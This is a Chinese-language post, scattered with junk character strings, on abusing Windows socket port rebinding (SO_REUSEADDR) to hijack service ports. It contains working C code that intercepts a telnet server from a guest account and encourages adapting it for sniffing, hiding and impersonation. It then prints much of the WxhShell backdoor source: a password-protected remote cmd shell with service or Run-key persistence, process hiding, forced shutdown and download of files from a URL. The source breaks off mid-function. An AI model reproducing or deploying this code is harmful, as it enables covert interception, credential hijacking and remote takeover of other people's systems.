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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rtx]dc1m s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K:@=W1 8w[EyVHA saddr.sin_family = AF_INET; 9Ol_z\5 CM1a<bV< saddr.sin_addr.s_addr = htonl(INADDR_ANY); `=DCX%Vw 8|NJ(D-$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "%t`I) r_E)HL/A 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b1]_e'jj 3rg^R"& 这意味着什么?意味着可以进行如下的攻击: 5z ^UQq 9%14k 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V9_HC f vqi$}=%n?W 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X2YOD2<v )"uG*}\?b 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MwqT`;lb veg!mY2& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 CZRo{2!?U Z<<gz[$+p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (v:ek_ !F#aodM1N 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qjzW9yV+ +|YZEC
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q5n :f+ TF-Ty #include So.P @CCd #include mS}x2& #include `j}d=zZ #include b|o!&9Yyr DWORD WINAPI ClientThread(LPVOID lpParam); TeCpT2!5j int main() .<^YE% { /'fDXSdP WORD wVersionRequested; {WeXURp&nF DWORD ret; `lezJ(Xm WSADATA wsaData; 7O{O')o! BOOL val; 89#0vG7m SOCKADDR_IN saddr; =e8L7_; SOCKADDR_IN scaddr; n o+tVm| int err; )2Ru!l# SOCKET s; YQdX>k SOCKET sc; R 0HVLQI int caddsize; .]s(c!{y HANDLE mt;
9XqAjez\ DWORD tid; \Fg6b6 wVersionRequested = MAKEWORD( 2, 2 ); #x@lZ! Y err = WSAStartup( wVersionRequested, &wsaData ); etMh=/NFV if ( err != 0 ) { 2qMsa>~ printf("error!WSAStartup failed!\n"); ZWRRh^ return -1; bH&)rn } bTQa'y`3 saddr.sin_family = AF_INET; g+ 1=5g 355Sd;* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D>b5Uwt <-B"|u saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]Bd3d% saddr.sin_port = htons(23); |EV\a[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !FO^:V<|5 { #lsh N,CPm printf("error!socket failed!\n"); 6mpg&'> return -1; oXlxPN39 } _c
]3nzIr val = TRUE; 66@3$P%1p //SO_REUSEADDR选项就是可以实现端口重绑定的 s7nX\:Bw: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9me}&Fdr { 1~5q:X printf("error!setsockopt failed!\n"); H4'DL'83 return -1; =ch
Af= } ?t0zsq //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;s\;78`0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-N7L#a //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \btR^;_\A #>m,
Cm if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;[KriW { `o8{qU,*]N ret=GetLastError(); =6Sj}/ printf("error!bind failed!\n"); Wd`
QpW return -1; CnSX } Xvj=*wg\Y listen(s,2); f UF;SqT while(1) r ctSS:1 { s|gD caddsize = sizeof(scaddr); u2-@?yt //接受连接请求 nz(q)"A sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); me:|!lI7YU if(sc!=INVALID_SOCKET) &xBK\ { Fb|e]?w mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :x""E5H if(mt==NULL) x #tu { V(2j*2R! printf("Thread Creat Failed!\n"); p37zz4 break; ,]uX:h-EM } )0U3w#,JQ } !<=%;+ CloseHandle(mt); EN-H4F } ..q63dr closesocket(s); Le`/ WSACleanup(); 5&<d2EG6l' return 0; 3cCK"kr } @UpC{M--Wr DWORD WINAPI ClientThread(LPVOID lpParam) h-La'}>? { O[(?.9 SOCKET ss = (SOCKET)lpParam; RF4$ SOCKET sc; \U!@OX.R'M unsigned char buf[4096]; Ac[|MBaF SOCKADDR_IN saddr; S"P9Nf?9 long num; ;;YcuzQI3 DWORD val; oF;%^XFp DWORD ret; HCJ8@nki //如果是隐藏端口应用的话,可以在此处加一些判断 9'n))%CZ. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 xi?P(sA saddr.sin_family = AF_INET; ^$=tcoQG saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e|b~[|;*= saddr.sin_port = htons(23); 'n^2|"$sH if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;v,9v;T { Jm %ynW printf("error!socket failed!\n"); i!Dh&XT return -1; !_U37Uj<m } [arTx^ val = 100; Hz]4A S if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *bCi2mbm@ { a1g6}ym\ ret = GetLastError(); VelB-vy& return -1; vXyuEEe } &\1'1`N1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \-Iny=$ { 0~+NB-L} ret = GetLastError(); iY
^{wi~? return -1; &r'{(O8$N } I%}L@fZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <AI>8j6#B { c Q(}^KO printf("error!socket connect failed!\n"); -XBKOybHBO closesocket(sc); |;A9A's closesocket(ss); DO&+=o`" return -1; Hs"%
S } NqJ<!q)
while(1) ptV4s=G2 { _{6,.TN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~LawF_]6 //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;RWW+x8IB //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8%o~4u3 num = recv(ss,buf,4096,0); lo+xo;Nd if(num>0) `E3:;| send(sc,buf,num,0); 2Vp>" else if(num==0) "_K}rI6(t break; m<FF$pTT num = recv(sc,buf,4096,0); ${hyNt if(num>0) R9tckRG# send(ss,buf,num,0); |H ^w>mk else if(num==0) !}>eo2$r^ break; F2IC$:e
M } 8yE!7$Mj closesocket(ss); 9?uqQ closesocket(sc); :O9P(X* return 0 ; Mn]}s:v } G*i.a*9<) ?SC3Vzr 2X|CuL{] ========================================================== H1`
rM^,%A \#PP8 下边附上一个代码,,WXhSHELL <9ma(PFa )K{o<m~WAo ========================================================== ;#3ekl{-g \s=QiPK #include "stdafx.h" Bu7A{DRf X_D6eYF #include <stdio.h> >9-Dd)< #include <string.h> 0jBKCu #include <windows.h>
MWBXs75I #include <winsock2.h> W`#gpi)7N #include <winsvc.h> xME(B@j #include <urlmon.h> mR" uhm}q {bN Y #pragma comment (lib, "Ws2_32.lib") 6 -]>]Hr- #pragma comment (lib, "urlmon.lib") za,6du6 fC_zX}3 #define MAX_USER 100 // 最大客户端连接数 #hIEEkCp + #define BUF_SOCK 200 // sock buffer 5pO]vBT #define KEY_BUFF 255 // 输入 buffer hzaU8kb 5B%w]n #define REBOOT 0 // 重启 GGCqtA^@7d #define SHUTDOWN 1 // 关机 Js/N()X 6hZ.{8e0 #define DEF_PORT 5000 // 监听端口 YVo ao#! ('=Z}~ #define REG_LEN 16 // 注册表键长度 ytEQ` #define SVC_LEN 80 // NT服务名长度 Iq+2mQi*/k I?^aCnU // 从dll定义API &a.']!$^" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !?jK1{E3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +<&E3O r typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nt7|f,_J typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;:P7}v fz! >GgE,h // wxhshell配置信息 bn $)f6% struct WSCFG { !6lOIgn int ws_port; // 监听端口 ^D>fis char ws_passstr[REG_LEN]; // 口令 ]* 0(-@ int ws_autoins; // 安装标记, 1=yes 0=no 19'5Re& char ws_regname[REG_LEN]; // 注册表键名 +6
ho)YL char ws_svcname[REG_LEN]; // 服务名 U<Vy>gIC char ws_svcdisp[SVC_LEN]; // 服务显示名 X1Qr_o-BR char ws_svcdesc[SVC_LEN]; // 服务描述信息 ThtMRB)9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6_WmCtvF int ws_downexe; // 下载执行标记, 1=yes 0=no Z%#^xCz;w> char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" |7y6
pz char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [~COYjp d [r-k 2 }; J<rlz5': :i.t)ES // default Wxhshell configuration
m;c3Z- struct WSCFG wscfg={DEF_PORT, 6Z Xu,ks} "xuhuanlingzhe", x.ba|:5 1, hqL+_|DW "Wxhshell", z?)He)d "Wxhshell", /N>} 4Ay "WxhShell Service", {#N%Bq} "Wrsky Windows CmdShell Service", E30Ln_^o "Please Input Your Password: ", d ,UCH 1, NddO*`8+) " http://www.wrsky.com/wxhshell.exe", ^}J<)}Q "Wxhshell.exe" sZKEUSFD # }; c+8V|'4 _C20 +PMO // 消息定义模块 syRN4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iA9 E^ char *msg_ws_prompt="\n\r? for help\n\r#>"; nWk e#{[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ~T%Ui#Gc char *msg_ws_ext="\n\rExit."; H;QA@tF>5 char *msg_ws_end="\n\rQuit."; Pubv$u2 char *msg_ws_boot="\n\rReboot..."; LX\)8~dp char *msg_ws_poff="\n\rShutdown..."; ;,k=<] char *msg_ws_down="\n\rSave to "; pl|h>4af 9p4y>3 char *msg_ws_err="\n\rErr!"; :> SLQ[1 char *msg_ws_ok="\n\rOK!"; \9w~pO GV5qdD( char ExeFile[MAX_PATH]; a$}NW. int nUser = 0; +pz}4M` HANDLE handles[MAX_USER]; >OK#n)U` int OsIsNt; z3W3=@ ET. dI.R8 SERVICE_STATUS serviceStatus; hCAZ{+`z SERVICE_STATUS_HANDLE hServiceStatusHandle; KzNm^^#/$A { D+Ym%n // 函数声明 Z|I-BPyn int Install(void); _%B/!)v int Uninstall(void); GWdSSr> int DownloadFile(char *sURL, SOCKET wsh); 5rloK" int Boot(int flag); RJhK$\ void HideProc(void); <UT>PCNG int GetOsVer(void); B$?^wo int Wxhshell(SOCKET wsl); >'b=YlUL void TalkWithClient(void *cs);
]ENK8bW int CmdShell(SOCKET sock); s7l23*Czl int StartFromService(void); Bd&`Xfebj int StartWxhshell(LPSTR lpCmdLine); VO_dA4C}z gw+eM,Yp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gfN2/TDC]P VOID WINAPI NTServiceHandler( DWORD fdwControl ); !zR)D|w& w#9_eq|3 // 数据结构和表定义 Xh}&uZ`A SERVICE_TABLE_ENTRY DispatchTable[] = 9 I{/zKq { y^R4I_* z {wscfg.ws_svcname, NTServiceMain}, ezUQ>
e {NULL, NULL} wt?o
7R2 }; UFw](%=&M
bq NP#C // 自我安装 U*\17YU6h int Install(void) YG`?o { D"^'.DL@wG char svExeFile[MAX_PATH]; e)b%`ntF HKEY key; y3JMbl[S0 strcpy(svExeFile,ExeFile); Ac`;st%l. T<yb#ak // 如果是win9x系统,修改注册表设为自启动 KmmQ ,e% if(!OsIsNt) { 4x=(Zw_X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~KPv7WfG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4-^[%&>} RegCloseKey(key); C?o6(p"b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )+EN$*H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4MLH+/e RegCloseKey(key); Oaa"T8t return 0; 59lj7 } sJU`u'w } vy9dAl } ]iVLHVqz else { Ur3m[07H WbcS: !0 // 如果是NT以上系统,安装为系统服务 n_23EcSy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8:dQ._#v if (schSCManager!=0) 5FOqv=6S { p$XKlg& SC_HANDLE schService = CreateService a
<wL#Id ( i\Wdo/c-H schSCManager, %\6Q .V#s wscfg.ws_svcname, *yez:qnx wscfg.ws_svcdisp, +~35G:&: SERVICE_ALL_ACCESS, jatr/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t)a;/scT SERVICE_AUTO_START, HdNnUDb$B SERVICE_ERROR_NORMAL, !0"nx{7. svExeFile, Zh'&-c_J NULL, d1G8*YO@ NULL, /{*$JF NULL, Qihdn66 NULL, Vte EDL/w NULL f<=Fe:1. ); ^$NJD if (schService!=0) ,H[SI0]; { 2*AG7 CloseServiceHandle(schService); GLUUY0 CloseServiceHandle(schSCManager); Ow/@Z7~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ahGT4d`)9 strcat(svExeFile,wscfg.ws_svcname); /XbW<dfl if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c^9tYNn RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *C2R`gpBI RegCloseKey(key); {HrZ4xQnpV return 0; \TbVS8e^ } )(TAT< } G;1?<3 CloseServiceHandle(schSCManager); uQ3[Jz`y } orfp>B) 0 } H"Dn]$Q\Z h-QLV[^ return 1; :Li/=>R^ } J2M(1g)t9 r:g9 Z_ // 自我卸载 Hj6'pJ4 int Uninstall(void) ue{xnjw>U { ,={t8lN HKEY key; $[ z y wT_h!W if(!OsIsNt) { $kPHxD!" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a9Y5 RegDeleteValue(key,wscfg.ws_regname); @_yoX(.E& RegCloseKey(key); lFq{O;q7} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +!yXTC RegDeleteValue(key,wscfg.ws_regname); bw S*]!* RegCloseKey(key); Nneo{j return 0; Im?LIgt$ } 'EhBRU% } l"pN90B4 } 8dO?K*J,H' else { ;['a B\CN<<N>dD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o\=n4;S if (schSCManager!=0) HdX2YPYn; { bGmx7qt# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zm#nV
Y` if (schService!=0) *hY2.t; X { L%\b' fs if(DeleteService(schService)!=0) { wkb$^mU CloseServiceHandle(schService); A9:NKY{z CloseServiceHandle(schSCManager); uGVy6, return 0; [f{VIE*?% } 4. qtp` CloseServiceHandle(schService); i$^ZTb^ } fiDl8=~@ CloseServiceHandle(schSCManager); V5mTu)tp5 } (6gK4__}] } )"<8K}%! :d,^I@] return 1; zfI}Q}p } Acm<-de }
cNW^4F // 从指定url下载文件 ~Y!kB:D5;~ int DownloadFile(char *sURL, SOCKET wsh) MuI2?:~:*4 { U1R4x!ym4 HRESULT hr; E6MA?Ax&= char seps[]= "/"; 5.0e~zlM- char *token; elPE%' char *file; S::>N.y char myURL[MAX_PATH]; G}zZQy char myFILE[MAX_PATH]; \_BkY%a Ym8}ZW- strcpy(myURL,sURL); m`A%
p token=strtok(myURL,seps); w=7L3AW while(token!=NULL) E-2eOT { @{HrJ/4%:& file=token; aUopNmN token=strtok(NULL,seps); vqdX^m^PY } I PCGt{B~ 47>>4_Hz GetCurrentDirectory(MAX_PATH,myFILE); DXR:1w[^ strcat(myFILE, "\\"); R9o- `Wz strcat(myFILE, file); ,<Kx{+ [h send(wsh,myFILE,strlen(myFILE),0); i@P}{ send(wsh,"...",3,0); jLVl4h& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S?0$? w? if(hr==S_OK) l.=p8-/$'7 return 0; g=8un`]7 else !q"cpL'4 return 1; 42C<1@>zO ^TdZ*($5 } ~N0sJ% V!/:53 // 系统电源模块 z8_XX$Mnt int Boot(int flag) Ctu?o+^;z { ~qP[eWe HANDLE hToken; >{zk
qvsQ& TOKEN_PRIVILEGES tkp; 0y#Ih {L nHXX\i if(OsIsNt) { \IM4Z|NN" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mI1H! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p*3; hGp6 tkp.PrivilegeCount = 1; Sv[ 5NZn0& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &(pjqV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Lxl_"kG if(flag==REBOOT) { HL K@xKD< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _8?o'<!8?^ return 0; =r.
>N\ } /F/;G*n else { XP?rOOn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ssQ BSbx return 0; 2\<.0 } 3251Vq % } 1R%1h9I4' else { ro~+j}* if(flag==REBOOT) { .?W5{U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Tny>D0Z# return 0; Z}6^ve } R
W/z1 else { 5jcte<
5I_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S=|@L<O return 0; L@Nu/(pB= } LRb,VD:/Y } 4_?7&G0( qOhO qV return 1; {p<Zbm. } ()T[$.( 15\Ph[6g // win9x进程隐藏模块 ^%T7. 1'x void HideProc(void) d9^E.8p$ { \_6OC Vil ,El!fgL HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2\D8.nQr if ( hKernel != NULL ) ;t#]2<d* { vG41C k1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~+F;q
vq ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?9+@+q FreeLibrary(hKernel); rJyCw+N0 } >h~IfZU1 je,}_:7 return; IZ,oM!Y } |,C#:"z; }WLh8i?_ // 获取操作系统版本 dI'SwnR int GetOsVer(void) JH,/jR { ~`MS~,, OSVERSIONINFO winfo; k"UO c= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l:B;zi`)oB GetVersionEx(&winfo); 1`0#HSO if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #s-iy+/1oN return 1; *Nb#W! else [tT8_}v$LN return 0; LaFZ?7@|} } 22hSove. V<Z'(UI // 客户端句柄模块
-T@`hk` int Wxhshell(SOCKET wsl) ~EiH-z4U { PyC0Q\$% SOCKET wsh; QbFHfA2Ij struct sockaddr_in client; U\@A_
B DWORD myID; w*7|dZk{ ;U=q-tb while(nUser<MAX_USER) $m$;v<PSe { vsB*rP= int nSize=sizeof(client); ;i uQ?MR3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); . RVVWqW if(wsh==INVALID_SOCKET) return 1; 1Nn@L2b 2 Yf_6PGNzX handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;r\(p|e if(handles[nUser]==0) Z4TL6]^R closesocket(wsh); ;Y9=!.Ak0y else ff?t[GS nUser++; Rg&-0b } )}v3q6?_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,$*IzL~ )EM7,xMz return 0; +!t} } ,Z9>h[JF iOw3MfO // 关闭 socket *hhmTc# void CloseIt(SOCKET wsh) W[bmzvJ_X { ;E;To\NCYF closesocket(wsh); E`\8TqO nUser--; C2U~=q>> ExitThread(0); rt-\g1x } &$FvWFRh# nv0@xnbz // 客户端请求句柄 q(o/yx{bm void TalkWithClient(void *cs) G`h+l< { 'vV$]/wBF jF ^5}5U SOCKET wsh=(SOCKET)cs; od<b!4k~s char pwd[SVC_LEN]; <~emx'F| char cmd[KEY_BUFF]; }3 m0AQ;K char chr[1]; [onqNp int i,j; BbOu/i| or*HC&c7 while (nUser < MAX_USER) { @`"AHt %u\26[/ if(wscfg.ws_passstr) { _ o6G6e, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^ZeJ[t&!# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NLd``=& //ZeroMemory(pwd,KEY_BUFF); }-p[V$:S i=0; gT+Bhr while(i<SVC_LEN) { =s97Z- VL+C&k v] // 设置超时 $& ~;@*[ fd_set FdRead; D87|q4 struct timeval TimeOut;
,<,:8B FD_ZERO(&FdRead); &a)eJF]:! FD_SET(wsh,&FdRead); q0mOG^ TimeOut.tv_sec=8; l;X|=eu' TimeOut.tv_usec=0; ?9MVM~$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 10[Jl5+t if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yq[Cq=rBk n| O [a6G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L6P1L) pwd =chr[0]; ^H'a4G3 if(chr[0]==0xd || chr[0]==0xa) { EpPf_ \o pwd=0; G* b2,9&F break; yBed kj } \,UZX&ip i++; ;;s* Ohh } ,8G{]X) Y(VJbm` // 如果是非法用户,关闭 socket x|64l`Vp(: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vEe NW } 9.O8/0w7LV aT l c send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M[5[N{ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ks;%*d `\Ku]6J]5 while(1) { \$*$='6" &O\(;mFc ZeroMemory(cmd,KEY_BUFF); XEM'}+d vH%gdpxX // 自动支持客户端 telnet标准 `\|ssC8u j=0; @JkK99\(>9 while(j<KEY_BUFF) { qF)<H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Du1RuxP cmd[j]=chr[0]; nxm$}!Df if(chr[0]==0xa || chr[0]==0xd) { R5_i15< cmd[j]=0; 8[%Ao/m break; qa >Ay|92e } [&S}dQ" j++; Oeya%C5' } -ZOBAG* d^ ZMS~\* // 下载文件 ^}yg%+ if(strstr(cmd,"http://")) { g|<Sfp+;+ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ra ' if(DownloadFile(cmd,wsh)) o`,Qku k send(wsh,msg_ws_err,strlen(msg_ws_err),0); %i0?UpA else 7B9 `<{!h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >?W[PQ5 yx } &Bb<4R else { xgsjm)) "$HbK
@]!h switch(cmd[0]) { [f~N_G6I^o o/cjXun* // 帮助 :7N3N case '?': { 8
(jUe send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4B+9z^oQ break; CDy^UQb } c>bq%} // 安装 4IdT' case 'i': { !{^\1QK if(Install()) O OFVnu send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9X<OJT;3J else ;)0w:Zn/[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PG5- ;i/ break; 0pe3L } w>?Un,K // 卸载 _cDF{E+; case 'r': { _+f+`]iM if(Uninstall()) }}{!u0N},V send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6"j_iB else {.e=qQ%P5) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :q##fG'm/ break; }_.:+H!@ } 72oWhX=M% // 显示 wxhshell 所在路径 s0UFym8 case 'p': { qd@&59zSh char svExeFile[MAX_PATH]; )4Q?aMm strcpy(svExeFile,"\n\r"); o;F" {RZ strcat(svExeFile,ExeFile); gW(gJ;
L,% send(wsh,svExeFile,strlen(svExeFile),0); {2'm^0Kl break; Jhkvd<L8`m }
Fnx`Ri // 重启 J<j&;:IRd case 'b': { dpZ;l 9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9$K;Raz% if(Boot(REBOOT)) ?0*8RK send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9|'B9C else { }71LLzG`/ closesocket(wsh); /Poet%XvRx ExitThread(0); (3vHY`9 } &7?R+ZGo break; DsD zkwJE } y k161\ // 关机 )(Iy<Y?# case 'd': { Tm]nEl)_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,0$)yZ3*3, if(Boot(SHUTDOWN)) e=P send(wsh,msg_ws_err,strlen(msg_ws_err),0); JYqSL)Ta*t else { nCg66-3A closesocket(wsh); }b3/b ExitThread(0); 8Ad606 } "+ "{+k5t break; m"tOe? } @!=\R^#p // 获取shell {kI#A?M case 's': { f}%D"gz CmdShell(wsh); JM$.O;y
- closesocket(wsh); nHFrG
=o, ExitThread(0); "LhUxnll break; .o{0+fC# } 1tzV8(7 // 退出 pI`?(5iK6| case 'x': { ~.Ik#At send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G*
%t'jX9 CloseIt(wsh); W><Zn=G4)b break; tEd.'D8 s } sf}Dh // 离开 k4J8O3E case 'q': { 5R$G(Ap_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); i yYJR closesocket(wsh); mbl]>JsQD WSACleanup(); y2HxP_s?P? exit(1); = 64r:E break; Eq%@"-mo } =?0lA_
0 } $L4/I !Yf } 5vzceQE} wHjLd$ +o // 提示信息 FwKj+f" if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vZ7gS } FaTa(3$% } tU wRE|_ G>qZxy`c return; ".*x!l0y7 } 3{%LS"c 59uwB('|lH // shell模块句柄 Y>."3*^ int CmdShell(SOCKET sock) :S@1 { #(Or|\t STARTUPINFO si; \h<BDk* ZeroMemory(&si,sizeof(si)); <hnCUg1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l2%bF8]z si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?VU(Pq*` PROCESS_INFORMATION ProcessInfo; oj,lz? char cmdline[]="cmd"; 2g{)AtK$# CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IHfzZHy return 0; `L;eba } @\_x'!R ` >!n // 自身启动模式
{npcPp9 int StartFromService(void) _#e&t"@GS { v
]Sl<%ry typedef struct gJt`?8t { {Ee>n^1 DWORD ExitStatus; B-.v0R`5 DWORD PebBaseAddress; c47")2/yO DWORD AffinityMask; .V9e=yW!* DWORD BasePriority; 6!iJ;1PeE ULONG UniqueProcessId; C8N{l:1f] ULONG InheritedFromUniqueProcessId; uNbH\qd= } PROCESS_BASIC_INFORMATION; gQSNU_o Z Vpfp}pL PROCNTQSIP NtQueryInformationProcess; z7.|fE)<6 _?7#MWe& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C9n}6Er=, static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jt~Qu- 5pNY)>]t= HANDLE hProcess; '+'CbWgY PROCESS_BASIC_INFORMATION pbi; g3@Rl2yQJ 3b'tx!tFN
